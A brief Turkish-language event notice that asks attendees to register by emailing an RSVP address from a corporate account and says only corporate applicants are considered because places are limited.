    Etkinliğe katılım için kurumsal e-posta adresinden lcv@bga.com.tr adresine e-posta göndererek kayıt olabilirsiniz. (Kontenjan sınırlaması nedeniyle sadece kurumsal firmalardan gelecek talepler değerlendirilecektir)


    Viewing all 331 articles
    Browse latest View live